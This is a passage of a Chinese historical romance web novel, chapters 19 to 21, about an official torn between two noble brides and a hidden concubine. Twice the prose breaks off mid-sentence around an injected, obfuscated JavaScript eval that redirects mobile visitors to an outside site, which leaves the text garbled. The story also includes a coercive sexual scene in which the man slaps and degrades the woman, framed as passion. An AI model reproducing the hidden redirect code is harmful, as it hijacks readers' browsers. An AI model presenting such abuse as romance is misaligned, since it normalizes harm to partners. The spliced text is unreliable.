见她正坐在梧桐树下,他阔步走上前,将食盒放在石桌上,把里面的一碟水晶透花糍取出来,忙不迭地说:“这个是我特地让御厨做的,每个人吃了都交口称赞,你不是爱吃甜的吗?快来——你怎么哭了?!” “是不是杨兵那狗东西又来找你麻烦了?我现在就去把他抓来给你道歉!”黎堂真说着就捋起袖子要往外走。 杨兵就是上回在兵部尚书吃醉酒,险些扑倒宋元仪的人。 上回就被黎堂真拎来给宋元仪道歉,没成想那杨兵竟看上了宋元仪,嚷着要娶她。 宋元仪跟祖父说了不嫁。拒了婚事后,杨兵前来骚扰了宋元仪两回,都被黎堂真打了回去。 “你回来。”宋元仪急急叫住黎堂真。 黎堂真听她一叫,立即停住脚步,三两步走到她面前。 看着眼前眉眼俊逸的郎君,宋元仪不期然又忆起谢庭钰,直接问他:“我和贾家的三小姐比,谁更好?” 黎堂真在她面前的石凳坐下,说:“自然是你更好。” 她的祖父定国公与黎堂真的爹英国公互为邻居,两家只隔一条街,来往密切,他二人也算是青梅竹马一起长大,情谊深厚。 故此在黎堂真心中,与贾文萱比起来,自然是宋元仪最好。 听了黎堂真的话,宋元仪心里舒服了不少,缓了缓神说:“你与谢大哥相熟,你觉得……他会选谁做妻子?” 轰隆一声,黎堂真宛如被一道雷劈到身上一样震愕地呆住。 见他没反应,宋元仪推了推他的手臂:“你说话啊。” “你,你,你喜欢,你喜欢我老大?”黎堂真还有些没反应过来,“你还想嫁给他?” “你这叫什么话?我与他也算是门当户对,为何不能喜欢他,不能嫁给他?”在黎堂真面前,宋元仪说话很是放松。 倒是苦了黎堂真,他站起来傻愣愣地原地转了几圈,恍然失措地扔下一句“我也不知道老大会喜欢谁”就跑了。 被他一闹,宋元仪的愁绪散了不少,洗了把脸回来,拿起一块水晶透花糍尝起来,软糯清甜的味道让她的心情好了一些。 酉正时分,行宫下起了雨。 黎堂真对着门前的雨一杯接一杯地喝苦酒,眼泪莫名其妙地随雨落了下来。 簌簌山雨绵延。 如秋雨般连绵潮湿的诸多情愫,开始滋生蔓延,变冷变沉变得剪不断理还乱。 19. 第 19 章 黎堂真失眠几日后,决意帮宋元仪与谢庭钰再进一步。 宋元仪知道后高兴得不行,笑着对他说:“堂真,谢谢你。” 黎堂真尽量维持以往的笑容:“嗐,跟我瞎客气啥。” 近水楼台先得月。 有了黎堂真的帮忙,宋元仪时常让他帮忙带些糕点和问候给谢庭钰。 偶尔出了案子,谢庭钰需要长夜待在大理寺。 黎堂真会提前让人给宋元仪送去消息,等到他二人一道出门去刘记面馆,宋元仪就会“恰巧”在途径路段碰到他们,然后顺其自然地跟他们一起吃面,放松地闲聊几句。 等到稍微闲暇一点,谢庭钰便请宋元仪出行,投其所好,带她去墨思书斋挑些文房四宝、古籍闲本作谢礼。 一来一回,宋元仪比以往多了不少能与谢庭钰相处的机会。 贾文萱知道后,气得摔碎了几只昂贵的汝窑花瓶。 贾文菡笑她:“傻妹妹,他既然不是一心一意对你,你何苦对他如此上心?” 贾文萱却说:“二哥好意思笑我?你为了哄自个儿院里的徐姨娘高兴,跟别人争个碧玉莲纹兽耳熏香炉费了多少银钱心机,我还没笑你呢。” 贾文菡:“那如何能一样?莺儿是我的人,又刚为你添了一个小侄子,我为她花点心思不算什么。可那谢庭钰,心思深沉得很。” “如何不一样。好东西要花心思争,好郎君更是想尽办法争到手。”贾文萱抱着二哥的手臂撒娇,“我就要他就要他。哥哥你给我想想办法嘛。” “好好好。” 贾文菡自然有别的计较。虽然谢庭钰总也不表态,但贾家并没有放弃对他的拉拢,如果他真能跟三妹妹凑成良缘,实乃一举两得。 贾文菡给妹妹出了一个主意:宫里得宠的虞嫔正是他们的表姐,让她在陛下面前吹吹枕风,寻个日子去行宫猎鹿,请左少卿一同随行守卫。 正巧皇帝发愁如何继续巧立名目来封赏谢庭钰,虞嫔的建议就迎了上来,他顺水推舟当即同意。 此次前去行宫猎鹿的人并不多,基本都是皇亲国戚,再往下就是贾家的几位公子小姐了。 这三日贾文萱天天去见谢庭钰,也不用耗费心思找理由,见了人就说“我要去骑马,你陪我”、“我要去山里狩猎,你从旁协助我”、“去靶场,你再教我练会儿箭吧”之类的话。 虞嫔知晓自家表妹的心思,给皇帝斟酒时还说:“臣妾瞧着萱萱与谢大人真是郎才女貌,好似天生一对,陛下觉着呢?” 皇帝接过酒,眉眼含笑,话里打太极:“朕倒是觉得谢爱卿是好心肠,爱妃若是要他教授投壶技艺,他必定也是倾囊相助。” 虞嫔即刻心绪惶惶,连忙情意绵绵地握住皇帝的手,说:“说到投壶,皇上的技艺才是臣妾见过最好的。赶巧今日空闲,您发发善心,教教臣妾吧。” “成。就依爱妃这一回。” 皇帝招手让人准备贯耳瓶和羽箭,方才关于贾文萱与谢庭钰的话,就此作罢。 这一趟游玩结束,皇帝以谢庭钰护驾有功为由,封了许多赏赐。 谢庭钰发挥“好大喜功”的“恶习”,还跟皇帝要了一柄黑漆弯弓。 皇帝大手一挥,又送他一副铁骨丽锥箭。 如此一来,谢庭钰的“宠臣”名声更盛。 从行宫回来后,玉京的秋意更浓。 正是:泠泠冷冷深秋雨,城里城外气清寒。 谢庭钰以“酌谢推荐之情”为理由,邀贾文萱出街耍玩,请她去锦绣坊量身定裁一件白狐披风。 知她爱梅如命,他还亲自花了一副落梅图,递与她看:“得知三小姐爱梅,我便挑灯画了一副拙作,想着让绣娘依样绣在披风下摆,以衬三小姐无双天姿。不知三小姐意下如何?” 贾文萱拿来一看,那幅落梅图真是清新俊逸,笔触温润,栩栩如生。 她喜爱得不得了。但在他面前,她故作矜持地轻咳两声:“勉强入眼。先依你说的绣上去吧,不好看再拆掉便是。” 谢庭钰又陪她看了一阵锦绣坊的绸布衣裳,二人说说笑笑,好不合衬。 躲在帘布后窥探的琼影放下半片墨青帘,转头对后面的人说:“这几日你也瞧见了。与东家来往的,不是定国公的宋小姐,就是丞相家的贾小姐,可见他日后的妻子,只会是簪缨世族的千金小姐。像我们这些曾经沦落风尘的女子,还是不要痴心妄想的好。” 站在琼影身后的是莹素,与琼影一样也是当初被送给谢庭钰的一名侍妾。 莹素的琴艺与画技皆上乘,被谢庭钰安排来锦绣坊画绣样,或是给珍艺馆画款式,或是为墨思书斋提供字画,还给天香酒楼编排琴曲,一个人能赚四份钱。 琼影因为珍艺馆做得实在好,三个月前又跟谢庭钰谈下了锦绣坊的合作。 莹素与她感情深厚,将自己对东家的情意和盘托出,问一问姐妹的意见。 琼影当时无话,只带着她去看看东家平日里都对什么样的姑娘另眼相看。 眼前的情景比什么劝说都有说服力。 莹素眼眶泛红,捏紧手中的画卷,轻轻地说:“我没有想过要当他的妻子。若是,若是能得他的垂青,侍奉左右也是好的。” 琼影抬手温柔地摸摸她的头:“何苦如此。你与东家也不是第一次接触了,还不知他为人虽和善,却不是多情之辈。日后有了妻子,自当是专心无二的好郎君,哪会再有什么姬妾通房呢。” 莹素咬着牙默默落泪,良久才道:“我知道了。要怪便怪我出身不好。” 琼影:“出身人人不可选。但幸得东家宅心仁厚,给了我们一条新活路。像现在这样不受人牵制,爽利赚钱,自在生活,不也很好吗?” 莹素:“姐姐说的是。等我再缓一阵,大抵也看开了。” 帘布后的对话顺着穿堂而过的秋风渐渐散去。 那厢谢庭钰与贾文萱一道离开锦绣坊,去往天香酒楼的路上,“恰巧”碰到了等候良久的宋元仪和黎堂真。 贾文萱再生气,也得在人头攒动的街市忍着,摆出一副大家闺秀的姿态,和宋元仪“姐姐妹妹”地同路聊天。 二人你来我往地暗争了一会儿飞醋,谢庭钰适时出来打圆场,说起天香酒楼的名菜有哪些,问二人都想吃些什么。 迎面又见三皇子赵英祯和其侧妃出街游玩,谢庭钰招手叫来赵英祯一行人,一道去天香酒楼用膳,贾文萱和宋元仪这才放弃嘴皮子争斗,喜笑颜开地一同聊起当下时兴的佳肴美馔。 过后李正卿还私下笑过左少卿周旋于二美之间的趣事,顺道问了孤寡至今的右少卿:“奇了怪了,陆少卿一看也是人物俊秀,英武过人,家世也好,父母健在,怎的身旁都没个能说话的姑娘?” 彼时陆佑丰无所谓地饮了一杯酒,道:“嗐。我才佩服谢少卿,真有那闲工夫。——谈情说爱无趣得很。还没有审问时吓唬刑犯来的有意思。” 一旁的李正卿、左右寺丞纷纷沉默地各饮一杯淡酒。 “……我算是知道原因了。”李正卿如是说。 * 棠惊雨在谢府里寻到一个新的去处——浮荫山庄后面汇聚溪流而成的石潭。 原来这里只是一个小水洼,正是引了环绕拢翠馆的溪流,再连通几处楼阁坞院的溪流,渐渐形成了一个宽而浅的石潭。 入夏时,李达去集市买了些鱼虾龟蟹扔到石潭里。 数月弹指一过,如今潭水里生机盎然。 谢庭钰前去寻棠惊雨时,她穿着繁复精致的秋衣,正举箭对准潭面,再往上一瞧,莲生藏在她左侧的大树上,同样态度认真地盯着潭面。 猜她多半是要射鱼。 那弓弦已经拉满,羽箭蓄势待发。 谢庭钰对谁都礼让三分,偏偏面对棠惊雨时,坏得出奇。 谢庭钰先她松弦一瞬甩了一枚石子到潭面。 到手的鱼儿游走,射空的羽箭斜立在沉底的沙石里。 棠惊雨恼怒地看向罪魁祸首。 罪魁祸首悠然笑道:“哈。正所谓我救一命,如造七级浮屠。” 莲生悄无声息地撤走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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餍足的人最后再亲了一口就松开她,兀自坐上一旁放置的春凳,拿起凳脚边的一坛酒,取出坛盖,给自己倒了一碗酒,望着眼前明朗清爽的秋景,痛快地饮尽。 棠惊雨轻舒一口气,转身从条案上取来水囊饮水。 之后,她拾起地上的弓箭,凝神静气对准浮在潭面上晃动的落叶。 一箭射出。波光水影间,泛黄的落叶被箭尖刺在水底。 谢庭钰侧头看她时,只见她身后是葳蕤蓊润的草木山林。 真不愧是“蕤蕤”。他想。 “蕤蕤。”他叫她。 “唔。”她双目盯着潭面,抽空应他一声。 他在她面前说话向来肆无忌惮,便问她,有没有可能位高权重又貌美异常的门阀千金,与才华洋溢且心思灵敏的官小姐,会融为一个完美的姑娘? 此时潭边悠悠游来几尾鱼。 棠蕤蕤对准其中一尾鱼,尽量保持与之前的一样的语调回答:“没可能。” 他:“这么肯定?” “嗯。因为自然万物的生长规律就是此消彼长,长短平衡。处处完美,”她的眼神骤然犀利,弓弦拉满,“注定短寿。” 咻—— 正中鱼身。 蕤难得笑起来,将手中的弓箭搁到条案上,提起裙摆就要下去捞战利品。 晴方潋滟,浅波揉碎光影。 谢庭钰握住她的手腕,迫使她停下脚步。 “倘若真有这么一个人呢?”他的目光从那只鱼挪到她身上。 “必定是骗子。”她认真看他,“花楼里惯用的仙人跳。” “这么说,我只能选一个?”他抬眼看着她的一双眼眸,“是吗?蕤蕤。” 棠惊雨觉得他拿这话来问自己实在莫名其妙,蹙眉直起腰,放开原先抓在手上的裙摆,一脸平淡地说:“大人要娶谁,只按自己本心便是。我又不是月老庙里的老神仙,算不了姻缘。” 20. 第 20 章 将棠惊雨从秋衡山带回来的那一日,谢庭钰就想好日后该如何安置她了。 先让她无人知晓、无名无分地住在府里,待他成亲,娶得一位贤良淑德的名门贵女,再让妻子知道她的存在。 届时生米已成熟饭,妻子再是不满,也不可能因为她这样一个女人与他闹和离。 毕竟要他放她走,没可能。 所以只能说服到妻子同意为止。 之后他再与妻子一同商议,是要纳妾,还是让棠惊雨继续无名无姓地住在府里。 日后她若是能生得一儿半女,自然也是过继到妻子名下抚养。 她既然如此喜欢拢翠馆,等妻子进门后,她正好搬去拢翠馆居住,不用像现在这样来回跑。 他会待她一如既往,不会叫她受半分委屈。 原先,他是这么打算的。 然而。然而。 再说贾文萱和宋元仪,她二人各有各的好,也各有他谢庭钰需要犹豫思量嫁娶是否合宜的地方。 他暂且不想放开任何一个。 因此他一边试探贾家是否可能将女儿外嫁,而不是他去入赘;另一边尝试能否接受宋元仪的“名”大过“利”。 他并不想娶两个。她们的身份地位若是一同娶进门,必遭皇权忌惮。 至于到底哪一个,他如今还没个定论。 这种情形下,再看棠惊雨。 她毫无波澜。 他不是没跟她提过今日出去是要见谁,是要与谁相处,她始终平淡,对他的上心程度,甚至比不过花几上那瓶这两日就要换水的裁切松枝。 尤其听她说完自己不是月老庙的老神仙算不了姻缘,他当下是恶从心头起,将自己原先的打算与她一五一十说了个明白。 “不能因你,坏了我日后的夫妻情分。”他最后如是说。 他的目光一错不错地盯着她的面容,观察她任何细微的反应。 她抿着唇,蹙着眉,沉思良久。 想的却是自己与他现在这样的关系正好,无人知晓,没牵挂没瓜葛,死了也不需要在墓碑上留下他的姓名。 人死如灯灭,如叶落,如花谢。这个世间不需要记得我的来处,也不必书写我的离去。 这一世爱恨愁苦已太多,不想就不念,不思便不忧。 应如流水东西流。 ——她是这样想的。 但她不会这样跟他说。 昼夜相处,她知道他不会喜欢这样的答案。 所以她说:“嗯。大人安排的,便是最好的。” 谢庭钰略带惊愕地看着她。 紧绷的弦断开,释放更多沉重而汹涌的怒。 他克制着脸上的表情,将人拉到自己身边坐下。 “人生有五伦。而我父母早逝,身旁亦无兄弟姊妹,五伦中先失了两伦。幸得君臣朋友合衬,此番再娶一位性情聪慧、容光淑艳的名门闺秀,才不枉我为人在世一场,读的许多诗书,受的千般苦楚,添的百家功绩。你说是也不是?” 他一边说着,一边收紧握住她左手的手掌。 左手被他握得有些难受,棠惊雨皱眉看着他,想到什么就说什么,并不多思:“自然。” 他静静地望着她,等了几息,发现她没有要继续往下说的意思,脸色渐渐沉下来:“你就没有别的想说的?” 他握得越来越紧。 她吃痛地半弯着腰,说:“一切都会如大人所愿的。” 谢庭钰闭上眼,深呼吸一口气。 他睁开眼,倏地松开自己的手,又问她:“上次送回府里的御赐之物,你为何一样都不选?” 她急忙缩回自己的手,边揉搓着左手边说:“嗯……没瞧见想要的。” “是吗。从进府到现在,哪一回你选过什么东西。绫罗绸缎、金银财宝、古籍文玩……竟然没有一件皇家之物能得你棠惊雨青眼是吗?” 他的神色和语气变得严厉,她更感莫名其妙:“不要也是错?” “少拿话来搪塞我。” “生不带来死不带去。看过便是得到了。何必非要拿到手里。” 谢庭钰冷着一张脸,伸手将人抱到腿上,蹙眉细细看她的脸。 摇晃的光影照映着这张秀美的脸庞,正是: 粉面光华疑皎玉, 眉黛锁愁拟烟柳。 无情深浸眼波中, 薄意缠绕浅语间。 沉寂已久的愠怒在此刻喧闹地浮上心口,谢庭钰说话时的话音带着凌厉的剑锋:“凡尘骨相,谁人不爱浮华名利?在我面前装清高,并不会让我高看你一眼。” 棠惊雨的眼波静静的,言语淡而轻:“嗯。我记住了。” 身前身后,深秋的风吹来抚去。 浓郁的树荫遮下莹亮的阳光,四周只余一片清冷的寒意。 肉骨凡胎,谁人不受六欲七情八苦? 就如他向皇帝讨赏,就是给对方传递一个“为您效劳我十分乐意”的暗意;而皇帝给他赐赏,也是为了向众人传递“办好事情有重赏”的信号。 一来一回,渐次累加,情谊和信任才能愈加深厚。 贾文萱和宋元仪对他青眼有加,如同他对二人那般,有期许,有念想,彼此来往既有情愫之间的流动,亦有家世性情是否契合的试探。 世道、人情、爱欲、名利、权势、财富……人世间里的许多痴妄交织在一起,烧火沸油般烹饪出鲜香热辣的勃勃烟火气。 棠惊雨却例外。 她游离于这个世间。 仿佛被吞掉了爱恨嗔痴一样,目空一切,情意永远这般寡淡。 说不定她现在脱下这一身凡尘俗衣,穿上袈裟就能立地成佛。 恰是:她无爱无求观音心,直教郎君怨恨东西,千般惦念埋风尽。 寂静良久,谢庭钰冷笑一声,旋即眉眼间浮起一个空笑:“记住了就好。” 见他如此神情,棠惊雨只觉一股冷意爬上脊背,推他的胸膛想要离开他的怀抱。 “想干什么。”他骤然收紧双臂。 即便二人身上都穿着稍厚的秋衣,她依然能清晰地感受到他的身体变化,心里怕,身体却不争气地软了下来。 他将挣扎着想跑的人压倒在春凳上,看见那双古井无波的眼眸掀起涟漪。 她的所见所识都是他教的,当然也包括床笫之事。 手握腻颈间,痴尝口脂香。玉肌浮胭脂,轻喘眼尾湿。 缱绻的长吻结束。 谢庭钰抬手轻抚她的脸,凝视她脸上每一处因为自己而产生的悸动,蓦然笑起来。 笑她到底凡人一个。哪怕灵魂得道,也得继续禁锢在这具尝透七情六欲的身体里无法解脱。 忽解绸衣探软樱,又掀锦裙指入宫。 “回房里。”这是她最后的乞求。 “羞什么。我又不是第一次在外面*你。” 簌簌秋风引叶响,嗦嗦飒飒似急雨。平潭起波澜,春凳翻滚浪,游鱼顶开石头缝,尘泥浮涌搅水面。 波光粼粼灼人眼,光天鸳鸯惹人燥。滋滋有声,铁汉听时心打鼓,吁吁微气,泥神看过魂也消。 情如恨,爱憎怨。天上不解凡人愁,地府轻叹红线绕。寒风不送眼底泪,艳阳不照心底痴,萧萧落落,多情总被无情恼。 谢庭钰停在最兴时,掐着棠惊雨的下颌,居高临下地看她:“真是只狐狸精,成日就知道勾引我。” “我没有……”她哭着摇头。 他冷声斥骂:“呵。我还不知道你什么心思?扮乖巧,装清高。一面演着这出不争不抢的好戏,一面又眉眼含情地引我*你的*。真是心思龌龊,手段卑劣。” 他动作起来,似是警告她又似是别有深意地说道:“你是贱出身,休想我给你任何名分。你就应当像只鸟一样乖乖待在笼子里供我取乐赏玩,旁的心思一概不许有!听明白了吗?” 连番抽挞,她快要喘不上气,哑着声答应:“……明白,明白了。” “好!答应的好!”他气到双眼泛红,抬手往她的胸脯处就是一掌,“受好了,这是爷赏你的。” 一掌接着一掌,说不清是“赏”还是“罚”。 他大约是第一次对她如此生气。 ——你凭什么不争?你凭什么不对我上心?你凭什么不喜欢我? 这样的想法正不断地炙烤着他的心肺,令他失控,引他发疯。 浮浮沉沉,直到太阳落到山后,还没有听到满意答复的郎君,仍然不肯休。 “……这回听明白了吗?”他再一次问她。 “……不想不念,恪守本分。”同样的话,她不过换了另一种说法。 “好。” 他一口咬在她的肩颈处,随她哭叫也不松口。 深秋时节,太阳一下山,天立刻就黑了。 今夜无月无星。 春凳凳脚边的两坛清酒和条案放着的水囊悉数饮尽,空坛子、空水囊横七八竖地倒在地上。 被*到身心崩溃、神魂反复飘散聚拢的棠惊雨,终于舍得动动脑子,思量这位抱着自己不肯松手的男人到底想听什么。 因此在他又一次重复以上问话时,她仰着一双泪眼,嗓音沙哑地说:“听着明白,心里却做不到。” 他搂着她,终于停了下来,在清寒的夜风里垂眼看她,眉目温柔,语调轻和:“蕤蕤,那可不行。” 这狗东西!果然是我想的那样!棠惊雨在心里暗骂,面上还作一副柔怯娇羞的模样,双臂圈住他的脖子,脸颊轻蹭他的下颌:“大人要骂便骂罢,要打要罚也随你,蕤蕤控制不了自己的心,控制不了去奢念、去妄想。” 他呵笑一声:“我看你是风月戏文看多了,一肚子坏心思,学的都是些什么话。” 谢庭钰嘴上如此说,眉眼处却洋溢着笑意,大发慈悲,饶了她这一回。 哪知到了深夜就出事了。 这大半年里,他把她养得很好,以致于都忽略了她的身体底子并不好。 深秋的寒风侵入体,她这一下就发烧了,病恹恹地躺在被窝里,一张脸煞白,乏得连眼皮都抬不起来。 谢庭钰焦急地守在床边,悔得肠子都青了。 小心喂她喝下一服药,帮她换过两身衣服、两床被褥,她依旧烧着,浑身冷汗不停地往外冒。 他按王留青的吩咐,在煌煌灯火中用白酒浸湿布帕,仔细给她擦身降温。 彼时的棠惊雨深陷在梦魇里挣扎不休。 梦中都是她以前的事情—— 七岁时,被爹娘卖入醉花楼,她不肯待,好不容易找回家,以为能得父母垂怜,结果他们叫来了醉花楼的人,哭闹中被拖回醉花楼,被毒打了三日才歇了回家的心思。 八岁时,无意间发现爹娘拿着卖了自己的钱,给姐姐和弟弟买了新衣裳,还买了新鲜鱼肉,一家人围在一起过了一个温馨的除夕夜。 十二岁时,锦州闹了洪灾,家人居住的地方正是受灾最严重的地方。她日日跪在罗刹鬼画像前,祈祷全家在这场洪水里死绝。 十四岁时,在一个连星星都没有夜晚,她用石头砸了一个想要强上的客人,那人满头是血地倒在草地上。亏得她惊惶之下力气不够大,对方还有一口气。她将人拖到河边扔进水里,假装对方是因为醉酒才不幸坠河身亡。 十七岁时,同样是一个连星星都没有夜晚,她举着金簪杀了第二个企 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15360293|164754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 图不轨的人。 梦境反复交织重现,掀起她以为早就被自己吞食掉的爱恨痴念。 谢庭钰躺进锦被里,搂紧在梦里痛哭的姑娘,温声细语地哄道:“别怕,那都是梦,都是假的,蕤蕤不怕,不要怕……” 当时,他真恨不得扇自己两巴掌。 庆幸的是,她哭过后,烧也退了。 再一看外头的天空,已然亮透。 谢庭钰自知心中有愧,这些日子一得空就往府里赶,无论谁邀都不赴约,路上还会带些新鲜的玩意儿或是糕点瓜果回去哄她。 这场病来势凶猛,休养了大半个月,棠惊雨的身体才好透彻。 那时玉京已经下完第一场雪。 因着去年的雪灾,朝廷格外关注今年的雪情。 万幸的是,这是一场瑞雪。 “怎么样?好吃吗?”谢庭钰柔声问她。 “嗯。” 棠惊雨盯着眼前的茶杯,咬着手里的一块鹅梨,抽空应他一声。 见她吃完,他又切了一块递过去。她接过继续吃,并不看他。 他再问她闲话,她就不应了。 一颗甜香多浆的鹅梨很快吃完。 他拿起搁在木盘里一块温热的湿布帕,低头给她擦手。 他:“还是不肯理我?” 自那日醒来后,她就像个吊着一口气的木偶人一样,对他爱答不理的。 “不是。”她收回自己的手,连看他一眼都吝啬,“想睡了。” 她说完就起身往暖阁走去。 天冷了以后,她就睡在暖阁里,他就睡在暖阁正前方的她之前睡着的填漆床。 他扔开手中的湿布帕,三两步追上她,伸手攥住她的手腕,一下将人揽进怀里。 “反天了你,真把自己当主子了是吧?”他实在受不了她对自己的这个态度。 他掐着她的下颌,迫使她抬头看自己:“看着我说话。” 四目一对,她顿时愤恨到双眸浮泪。 他的态度马上就软和下来:“怎么哭了?是不是哪里——” 趁他放松,她即刻离开他的怀里,扬手给了他一巴掌,积压许多的情绪霎时爆发:“因为我不喜欢你!我不喜欢这里!” 因为对她从来不设防,所以他被打到侧过脸。 忽然听她说这样的话,他震愕着,怔怔地转过脸盯着她:“你说什么?” 有些话,沉在心底,还能当其不存在,一旦这些话搬上台面,就一切都不同了。 他此刻的脸色,一如当年从皇宫回来却得知她跑了一样可怖。 “我没听清。”他悲惧到握紧拳,一步一步朝她走来,“你把刚刚的话,再说一遍。” 她并没有自己想象中的那么硬骨头,在他的逼近下一步步往后退,面容满是怯意,很快就退无可退,后腰抵在靠墙的条案上,撞得案面上的花瓶盘碟哐当响。 谢庭钰抓住她的手臂,将她扔进暖阁里。 棠惊雨整个人摔在床褥上。 他坐到床边,抬起她的下颌,悲惧的愤怒在一双流泪的杏眸里消散大半,说话间,语气里甚至带了点乞求:“棠蕤,我再给你一次机会,你刚刚说什么?” “我喜欢你,也喜欢这里。”脑海里有无数如毒刺如刀尖锐的恶言,但她脱口而出的却是这样一句话。 她承认自己是软骨头。 “真的?”他小心地问。 她撑着床褥坐起来,倾身轻吻了一下他的唇,然后说:“真的。” “嗯。”他又问,“那你喜欢我*你的**吗?” 她怔愣地望着他。 “唔?”他沉沉盯着她。 “……喜,喜欢。”她硬着头皮回答,身体不自觉地往后退了一点。 他一把将人揽到胸前,问:“喜欢吃我的**吗?” ………… 谢庭钰在她面前一如既往的无赖,趁火打劫一连问了她许多羞耻的问题。 棠惊雨迫于无奈,不管他问了什么惊世骇俗的问题,都得答“喜欢”。 爱恨难明,痴念来去。凡尘诸多虚妄,真心总在其间徘徊隐显。 想问的都问完了,他坐上床,靠在妆蟒绣堆的腰枕上,将她放到腿间抱着,抬手拭去她脸上的泪痕,问道:“还困吗?” “困。”她答。 “嗯。”他将她按进怀里,“睡吧。” 她半个身子靠着他的胸膛,原以为自己无论如何都睡不着,哪知模模糊糊地听着他的心跳声,没一会儿就眼皮打架,很快就睡着了。 经过这日的情绪宣泄,他二人好像恢复到往常那样相处着。 一日。 棠惊雨在雪松林里剪下几支苍绿的松枝。 天阴阴的,似要下雪。 “棠。快回去,要下雪了。” 她回过身,眼前一暗一亮,一件极厚的雪狐斗篷就披到身上。 她低眸,见一双修长匀称的手正在自己的脖颈前系绒带。 她再抬头,是一张丰神俊朗的脸。 她下意识地躲开谢庭钰的目光。 他将她的脸拧回来,拿话问她:“你喜欢我这样吗?” 自那以后,他日日都会拿类似的话问她。 “嗯。喜欢。”她无数次如此说道。 他笑着将人揽进怀里,下巴搁到她的肩窝处,贪恋地闻她身上的松木香。 盐粒一样的雪,在这时下了起来。 他暂时不想松开她,还想抱一会儿。 不管她说的是不是假话,他依旧不厌其烦地问她是不是喜欢自己。 他就是觉着:就算是假话,说上个千百遍,也成真话了。 21. 第 21 章 因着贵妃娘娘的寿诞,宫里办了一场奢华热闹的宴会。 时任刑部侍郎柳世宗,携美妾冷山燕一道进宫给贵妃娘娘贺礼祝寿。 冷山燕原是凉州人,爹娘死在战乱中,她被一名大夫捡了回去当学徒抚养长大,后来随军治伤,与柳世宗暗生情愫,最终二人在凉州拜了天地。 然而柳家是玉京赫赫有名的世家大族,根本不认可这门婚事,并勒令柳世宗娶一位门当户对的千金。 柳世宗根本不听。尽管家族重重施压,以致他无法抬她为妻,他也斩钉截铁地发誓此生只会有她一位夫人。 他甚至与她搬出平阳侯府,置办了一间新宅子居住,如今更是时常带她出席玉京城中大小宴会,毫不避讳对她的敬爱。 此时宫殿内热闹得紧,布置的鲜花妍丽、草木蓊润,满室琉璃宫灯璀璨,五彩绣带翻飞,偌大的木台上披帛飘飘,舞姬莲步翩跹,笙歌乐曲不断。 谢庭钰举杯,在殿内煌煌灯火中,目光穿过来回交错的舞步落在冷山燕身上。 她跟夫君不知在聊什么,两个人靠在一起笑得快要合不拢嘴。桌上那盏琉璃宫灯的绚丽流光,将她衬得更加芙蓉娇貌,两眼盈盈,十分可意。 谢庭钰沉默地看了她两息,而后神情略微沉闷地仰头饮酒。 柳世宗瞧着温润如玉,实则是个醋坛子,很快便发现对面的谢兄时不时投来意味深长的目光,正正落在身旁的夫人身上。 柳世宗侧头看了一眼搂在怀里的冷山燕。她贪多了几杯,醺醺然地靠在他的胸膛上,把玩他腰间的玉佩。 他再抬头看向谢庭钰时,对方正在跟贾文萱和宋元仪敬酒。 柳世宗皱眉饮了一杯酒,怪道方才或许是自己太过紧张冷山燕,故而看错了。 是日小雪。 谢庭钰披着风雪来到拢翠馆,在西厢的临窗大炕上寻到正在午歇的棠惊雨。 前几日王留青给她制了一个药枕。她很喜欢这股绵长的药草清香,日日抱着入睡。 他脱下沾着细雪的狐裘大衣,缓步走到炕前,垂眸看向抱着药枕窝在炕上已然睡熟的人。 大炕下边搁着一只素陶宽口花瓶,瓶上插满了油润墨绿的雪松枝。 香几上置着一只青铜熏香炉,偶有细碎的轻响从中传来。 他伸手过去,还未碰到熏香炉就感到一股温热袭来,取筷夹起镂空炉盖一看,但见两星香丸搁在银叶上,不见燃火青烟,只闻浓郁香醇的松香味,宛如置身于广阔幽密的雪松林一般。 这种隔火熏香法,操作起来极为复杂,每一步都在考验玩香者的耐心。 “对它们如此耐心。”他轻蹙着眉,抬手去捏她的脸颊,轻声道,“什么时候也能多把目光放在我身上。” 有了药枕后,她睡得更沉,被他如此揉弄脸蛋也不见什么反应。 他坐到炕边,低眸沉默地看她。 要说感情一事尤为神奇,即便只是这样静静地看她,他的心里仍然烧起一股起伏滚沸的情潮。 他想过许多次,也对比过许多人。 谁也不行,偏偏就她例外。 或许她就是女娲根据他天生喜好而专门捏出来的姑娘,所以他才会第一眼就沉沦,如今更是深陷其中无法自救。 而追名逐利是后天养成的世俗观念,难以用“好”或“坏”这样单一的字眼去描述评价,若不是靠着对名利的渴求向往,他不会一步步爬到今时今日这个地位。 先天和后天同等重要。 他如果无法放弃先天的情欲,就意味着同样无法割舍后天形成的世俗桎梏。 处处完美,注定短寿。 要想长久,必有缺憾。 谢庭钰叹息一声,心中左右为难。 他还是难以像柳世宗那样,如此敞亮地将美妾带出去。 柳兄再如何大逆不道,也终究是世家之子,他谢庭钰却不同。 他承认自己对棠惊雨有情,但也清楚那情远没有到能为她抵抗世俗桎梏的程度。 厢房里静谧平和,偶有埋灰香炭的焚烧轻响,到处浮着幽雅的松木香。 屋外小雪簌簌,雪粒滴滴答答地落在葱郁的竹林里,有叮咚碎玉声。 困倦袭来,沉思良久的人就势脱去外袍锦靴,掀开热融融的被窝躺进去。 谢庭钰翻身看向近在咫尺的姑娘,接着将搁在二人中间且她双手抱着的药枕抽出来扔到角落。 睡容一直平静的棠惊雨忽然拢起眉峰,双手往前摸索着,睡梦中将躺在身旁的人当成药枕,挪过去躺进他的怀里,手脚并用地将他抱住。 她轻微调整身体姿势,满意后松开眉峰,继续舒服地睡着。 谢庭钰却像误入寺庙钟楼里的香客一般,被响彻山谷的钟声震得浑身发麻。 怔愣了好一阵他才反应过来,随即伸手搂住她。 长长地叹息一声。 他想:罢了。 